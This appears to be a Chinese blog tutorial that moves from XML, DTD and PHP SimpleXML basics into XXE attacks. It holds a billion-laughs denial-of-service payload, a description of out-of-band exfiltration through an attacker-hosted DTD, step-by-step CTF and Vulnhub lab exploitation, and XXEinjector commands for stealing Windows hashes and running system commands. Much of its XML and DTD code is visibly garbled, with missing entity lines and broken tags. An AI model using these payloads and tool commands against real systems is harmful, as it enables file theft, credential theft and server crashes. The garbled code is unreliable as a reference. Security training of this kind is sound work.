XML 被设计用来传输和存储数据。
不同于HTML 被设计用来显示数据。
XML 指可扩展标记语言(eXtensible Markup Language)。
可扩展标记语言(英语:Extensible Markup Language,简称:XML)是一种标记语言,是从标准通用标记语言(SGML)中简化修改出来的。它主要用到的有可扩展标记语言、可扩展样式语言(XSL)、XBRL和XPath等。
xml的标签必须自定义,但是写标签名的时候要有含义。
数据格式:
XML 不是 HTML 的替代。
XML 和 HTML 为不同的目的而设计:
XML 被设计用来传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息,而 XML 旨在传输信息。
html标签不可以自定义,xml只能自定义
xml语法要求严格,必须是成对标签,且有个根标签
一个XML文件分为如下几部分内容:
文档声明
格式:
属性列表:
*version :版本号,必须的属性
*encoding :编码方式,默认时iso-88
*standalone :是否独立
元素
属性
注释
CDATA区、特殊字符
处理指令(processing instruction)
根节点就是其他所以节点的父级节点。
xml头声明,不强制要求,可有可无,但是建议写上,可以解决编码
所有xml都是成对标签
标签名大小写敏感
XML有5个预定义的实体字符,如下:
属性就是用来表示标签自身的一些额外信息。
一个元素可以有多个属性,它的基本格式为:
<student id="100">
<name>Tomname>
student>
<元素名 属性名1="属性值1" 属性名2="属性值2">
(1)属性值用双引号(”)或单引号(’)分隔,如果属性值中有单引号,则用双引号分隔;
(2)如果有双引号,则用单引号分隔。
那么如果属性值中既有单引号还有双引号怎么办?这种要使用实体(转义字符,类似于html中的空格符)
(3) 特定的属性名称在同一个元素标记中只能出现一次
(4)属性值不能包括<,>,&,如果一定要包含,也要使用实体
属性规则:
一个标签可以有多个属性,属性的值必须使用引号引起来;
命名规则:数字字母下划线,数字不能开头。
假如有这么一个需求,需要通过XML文件传递一幅图片,怎么做呢?其实我们看到的电脑上的所有文件,本质上都是字符串,不过它们都是特殊的二进制字符串。我们可以通过XML文件将一幅图片的二进制字符串传递过去,然后再解析成一幅图片。那么这个字符串就会包含大量的<,>,&或者“等一些特殊的不合法的字符。这时候解析引擎是会报错的。
所以,有些内容可能不想让解析引擎解析执行,而是当做原始内容处理,用于把整段文本解释为纯字符数据而不是标记。这就要用到CDATA节。
语法如下:
CDATA必须要大写。
CDATA节中可以输入任意字符(除]]>
外),但是不能嵌套!
如下例,这种情况它不会报错,而如果不包含在CDATA节中,就会报错:
<stu id="001">
<name>杨过name>
<sex>男sex>
<age>20age>
<intro>intro>
stu>
注意:一般情况 特殊字符较少时使用特殊字符, 字符多的时候用CDATA
xml是一种数据传输格式,当PHP接收到的就是一段xml的时候,我们的PHP应该怎么处理XMl的数据呢?
在PHP5版本以后,当提供了一个非常强大的类库,simpleXMl类库,专门用于实现对xml文档的解析操作。
php解析xml分为3步:
1:读取XML文档到内存;
2:形成DOM树;
3:由DOM树生产对象并返回;
simplexml_load_file('xml文件')
//simplexml_load_file 解析xml文档,返回PHP对象
代码案例:
php解析xml返回对象的值:
man as $v){
echo $v->name;
}
?>
或者
$x=simplexml_load_file('3.1xml');
$c=count($x->man);
for($i=0;$i<$c;$i++){
echo $x->man[$i]->name;
}
定义:addchile()函数给simplexml元素添加一个子元素。
语法:
addchile(name,values,ns);
// -name 必须 规定要添加子元素的名称
-value 可选 规定子元素的值
-ns 可选 规定子元素的命名空间。
实例
$x=simplexml_load_file('3.1.xml');
$man=$x->addChild('man');
$man->addChild('name','玉帝');
$man->addChild('age','999');
asXML() 函数以字符串的形式从 SimpleXMLElement 对象返回 XML 文档。
若失败,则返回 false。
$x->asXML('3.1.xml');
DTD可被成行地声明于XML文档中,也可作为一个外部引用。
XMl文档结构包括XMl声明,DTD文档类型定义,文档元素,而DTD就是用控制文档的一个格式规范,通常定义一个跟,然后跟下面有一些子元素,那么下面的文档元素就必须是这些元素。
将约束规则定义在XML文档中称为内部DTD:
DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>Georgeto>
<from>Johnfrom>
<heading>Reminderheading>
<body>Don't forget the meeting!body>
note>
分析:
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 frome 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
将约束的规则定义在外部的dtd文件中,在从xml文件外部引入DTD:
外部文档写法:分为本地和网络
本地:
网络:
例如:外部DTD实例,需要将DTD文件引入到XML文件中
DOCTYPE note SYSTEM "note.dtd">
<note>
<to>Toveto>
<from>Janifrom>
<heading>Reminderheading>
<body>Don't forget me this weekend!body>
note>
内容模式:可以对元素内容进行约束也可以对元素中的子元素进行约束,大小写敏感,内容模式的括号有意义
1)语法:
<!ATTLIST 元素名 属性名 属性类型 属性默认值
属性名 属性类型 属性默认值
......
>
2)属性类型
ID 属性值唯一,且属性值必须符合命名规则——不能以数字开头 (v1|v2|v3) 枚举,属性值从中选择一个 CDATA 属性值为字符
3)属性默认值
注:ID属性类型只能使用#REQUIRED或#IMPLIED;枚举类型后跟默认值必须为匹配值之一
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
(1)内部实体声明
(2)外部实体声明
(3)参数实体声明
通过在xml使用“&”符号对实体进行引用
例如:
//定义元素ANY表示接受任何元素
//定义了一个实体,值为test字符串
]
>
在XMl元素中进行内部十一引用,进而实现变量替换
..
以下是属性类型的选项:
类型 | 描述 |
---|---|
CDATA | 值为字符数据 (character data) |
(en1|en2|…) | 此值是枚举列表中的一个值 |
ID | 值为唯一的 id |
IDREF | 值为另外一个元素的 id |
IDREFS | 值为其他 id 的列表 |
NMTOKEN | 值为合法的 XML 名称 |
NMTOKENS | 值为合法的 XML 名称的列表 |
ENTITY | 值是一个实体 |
ENTITIES | 值是一个实体列表 |
NOTATION | 此值是符号的名称 |
xml: | 值是一个预定义的 XML 值 |
<!ELEMENT students(student*)>
<!ELEMENT student(name,age,sex)>
<!ELEMENT name(#PCDATA)>
<!ELEMENT age(#PCDATA)>
<!ELEMENT sex(#PCDATA)>
<!ATTLIST student number ID #REQUIRED>
对应的强制xml代码:
DOCTYPE student SYSTEM "student.dtd"> //导入本地dvd文件
<students number="s001">
<student>
<name>zhangsanname>
<age>23age>
<sex>malesex> //这里必须按照上述要求的指定顺序书写
student>
students>
直接写在xml文件中:
XXE:XML External Entity attack(XML外部实体攻击)。其实XXE就是攻击者自定义了XML文件进行了执行,已知的最终效果就是读取系统文件或DOS攻击。。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站等危害。
<!DOCTYPE note [
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT head (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]]]>
<note>
<to>Daveto>
<from>Tomfrom>
<head>Reminderhead>
<body>You are a good manbody>
note>
回显,玩法,协议,引入
判断:包含命名实体(内部实体)的xml数据是否回显
]>
&xxe;
网页上回显“仙女”,说明网页对输入的xml数据是有结果回显的
注意:这里只能判断是否有回显
DOCTYPE ANY [
]>
<x>&xxe;x>
//xxe为变量,读取test.txt
//打印出来
//用file协议读指定路径的文件
DOCTYPE foo [
<!ELEMENT foo ANY >
]>
<x>&rabbit;x>
返回为空,说明内网中服务器上,index.php文件是存在的,也可以说8081端口是开放的,因此这里这个xxe漏洞,可以实现内网探针。
为什么这里返回为空,说明index.txt文件是存在的?因为如下测试显示,改为不存在的1132323.txt后,服务器返回一行报错信息。
上面的ip地址假设就是内网的一台服务器的ip地址。还可以进行一个端口扫描,看一下端口是否开放。
读CASE是在安装expect扩展的PHP环境里执行系统命令
本地环境安装expect扩展。
]>
&xxe;
这里的id就是要执行的命令。
%file;
]>
&send;
//远程攻击者服务器(127.0.0.1)上保存的evil2.dtd写上:
evil2.dtd:
引入外部实体dtd,核心代码在drd文件中,一方面是为了绕过一些服务器的限制,另一方面是为了自定义一些攻击代码,类似于远程文件包含漏洞。如下图,成功回显服务器上文件内容。
pikachu注释掉回显代码,构造无回显的环境
类似内网的反向连接,利用的是PHP的协议;
代码如下:
//先利用php的filter函数读取文件
//把保存到的数据赋值给data
%dtd;
%send;
]>
本地192.168.0.103上构造test.dtd:
"
>
%payload;
总结:上面的url一般是自己的网站,通过第一步访问文件,然后再访问dtd文件,把读取到的数据赋给data,然后我们只需要再自己的网站日志,或者写个php脚本保存下来,就能看到读取到的文件数据了。
此时把脚本复制粘贴,提交,服务器不再返回任何信息
本地开启日志,查找日志就可以看到test.txt数据了。
将数据base64解码,得到原始数据。
DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;lolz>
此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
亦或者,如果目标是UNIX系统,
]>
&xxe;
如果 XML 解析器尝试使用/dev/random
文件中的内容来替代实体,则此示例会使服务器(使用 UNIX 系统)崩溃。
参考链接:
CTF XXE - MustaphaMond - 博客园 (cnblogs.com)
靶场下载地址:https://github.com/c0ny1/xxe-lab
登录框xml数据传输测试
如何检测发现xxe漏洞?
三种可能:
1.提交的数据包含xml格式如:
admin
2.请求头中如:
Content-Type: text/xml或Content-Type: application/xml
3.盲猜:更改content-type值application/xml看返回
1、以xxe-lab靶场登录框为例,使用burp抓包时,可以右击send to Spider自动爬行网站,所有的网站数据包会在Proxy-History模块显示。
2、此时可以全局搜索xml关键字
3、也可以查看MIME type类型是否为XML,MIME type类型为XML对应Content-Type: text/xml或Content-Type: application/xml,对应内容形式如下:
2 2
4、找到xxe漏洞点后,使用如下脚本攻击测试,成功读取到服务器上文件内容。
]>
&test; Mikasa
显示如下
真题地址:http://web.jarvisoj.com:9882/
1、抓包如下,数据包使用的是json格式,此处使用盲猜的方法检测是否存在xxe漏洞。
2、更改请求数据格式为:application/xml,使用以下脚本,成功读取服务器文件passwd内容。
提交内容及类型更换
]>
&f;
很多靶场镜像的网站:https://vulnhub.com
本案例靶场下载地址:https://download.vulnhub.com/xxe/XXE.zip
靶机通关利用过程:扫描IP及端口–>扫描探测目录–>抓包探针xxe安全–>利用xxe读取源码–>flag指向文件–>base32 64解密–>php运行–>flag
1、IP端口扫描
在本机虚拟机环境安装靶场,靶场安装后,由于我们不知道用户名密码,无法进入(一般镜像环境不会告诉你用户名密码,防止你进入后直接查看后台源码);
在忍者系统扫描同网段:
nmap -sS 192.168.64.1/24
成功得到靶机的IP及开放端口
2、扫描探测目录
由于这是一个web网站,我们可以尝试扫描web目录,或者直接查看robots.txt找到关键目录。
扫描后进入/xxe/目录,发现是个登录框
3、抓包探针xxe安全
尝试抓包查看,发现登录参数采用xml格式传输,猜测这里有xxe漏洞
4、利用xxe读取源码
尝试攻击一下,利用以下脚本读取xxe.php源码
%a;
]>
≈ hj
PS:
为什么使用php://filter协议而不是使用file://协议呢?原因是php://filter协议读取文件时,不需要文件的绝对地址,而file://协议需要文件的绝对地址。
之所以要进行加密
也是是因为加密后是不用写完整路径的。
回显结果:
5、flag指向文件
将xxe.php改为admin.php,成功读取admin.php源码
这里admin.php在目录扫描中被扫描出,在这里读取
6、base64解码源代码后,分析,成功找到用户名密码。
7、密码是md5散列后的值,将其解密后得到原始密码为admin@123,使用用户名密码登录网站。
登录成功后,显示如下页面,点击flag。
8、点击flag后,跳转到flagmeout.php页面,但是显示无法打开该页面。
9、使用xee漏洞再次尝试读取flagmeout.php页面源代码。
%a;
]>
≈ hj
这里由于flagmeout.php文件在根目录下,而不是在/xxe/目录下,因此读取时需要写为./flagmeout.php。
成功回显
10、base64解码源代码,找到加密后的flag。
11、分析flag,发现是base32编码,将其在线解码,得到字符串如下。
12、该字符串是base64编码,再将其base64解码,成功得到flag地址:/etc/.flag.php
13、继续使用脚本读取该文件,这次使用绝对路径
14、base64解码如下,分析,这是一段php代码。
XXEinjector是一款基于Ruby的XXE注入工具,它可以使用多种直接或间接带外方法来检索文件。其中,目录枚举功能只对Java应用程序有效,而暴力破解攻击需要使用到其他应用程序。
运行前提:Ruby运行环境,建议在kali环境下运行。
这里可以直接使用忍者系统安装
安装:
git clone https://github.com/enjoiz/XXEinjector.git
忍者系统自带环境 ,下载完成启动即可:
ruby ./路径
基本参数详解
--host 必填项– 用于建立反向链接的IP地址。(--host=192.168.0.2)
--file 必填项- 包含有效HTTP请求的XML文件。(--file=/tmp/req.txt)
--path 必填项-是否需要枚举目录 – 枚举路径。(--path=/etc)
--brute 必填项-是否需要爆破文件 -爆破文件的路径。(--brute=/tmp/brute.txt)
--logger 记录输出结果。
--rhost 远程主机IP或域名地址。(--rhost=192.168.0.3)
--rport 远程主机的TCP端口信息。(--rport=8080)
--phpfilter 在发送消息之前使用PHP过滤器对目标文件进行Base64编码。
--netdoc 使用netdoc协议。(Java).
--enumports 枚举用于反向链接的未过滤端口。(--enumports=21,22,80,443,445)
--hashes 窃取运行当前应用程序用户的Windows哈希。
--expect 使用PHP expect扩展执行任意系统命令。(--expect=ls)
--upload 使用Java jar向临时目录上传文件。(--upload=/tmp/upload.txt)
--xslt XSLT注入测试。
--ssl 使用SSL。
--proxy 使用代理。(--proxy=127.0.0.1:8080)
--httpport Set 自定义HTTP端口。(--httpport=80)
--ftpport 设置自定义FTP端口。(--ftpport=21)
--gopherport 设置自定义gopher端口。(--gopherport=70)
--jarport 设置自定义文件上传端口。(--jarport=1337)
--xsltport 设置自定义用于XSLT注入测试的端口。(--xsltport=1337)
--test 该模式可用于测试请求的有效。
--urlencode URL编码,默认为URI。
--output 爆破攻击结果输出和日志信息。(--output=/tmp/out.txt)
--timeout 设置接收文件/目录内容的Timeout。(--timeout=20)
--contimeout 设置与服务器断开连接的,防止DoS出现。(--contimeout=20)
--fast 跳过枚举询问,有可能出现结果假阳性。
--verbose 显示verbose信息。
XXEinjector使用样例
枚举HTTPS应用程序中的/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt –ssl
使用gopher(OOB方法)枚举/etc目录:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
二次漏洞利用:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt--2ndfile=/tmp/2ndreq.txt
使用HTTP带外方法和netdoc协议对文件进行爆破攻击:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt--file=/tmp/req.txt --oob=http –netdoc
通过直接性漏洞利用方式进行资源枚举:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
枚举未过滤的端口:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
窃取Windows哈希:
ruby XXEinjector.rb--host=192.168.0.2 --file=/tmp/req.txt –hashes
使用Java jar上传文件:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt--upload=/tmp/uploadfile.pdf
使用PHP expect执行系统指令:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter--expect=ls
测试XSLT注入:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt –xslt
记录请求信息:
ruby XXEinjector.rb --logger --oob=http--output=/tmp/out.txt
参考:https://www.cnblogs.com/bmjoker/p/9614990.html
忍者系统还集成了很多xxe的payload,可以供我们直接利用。
使用工具everything搜索xxe即可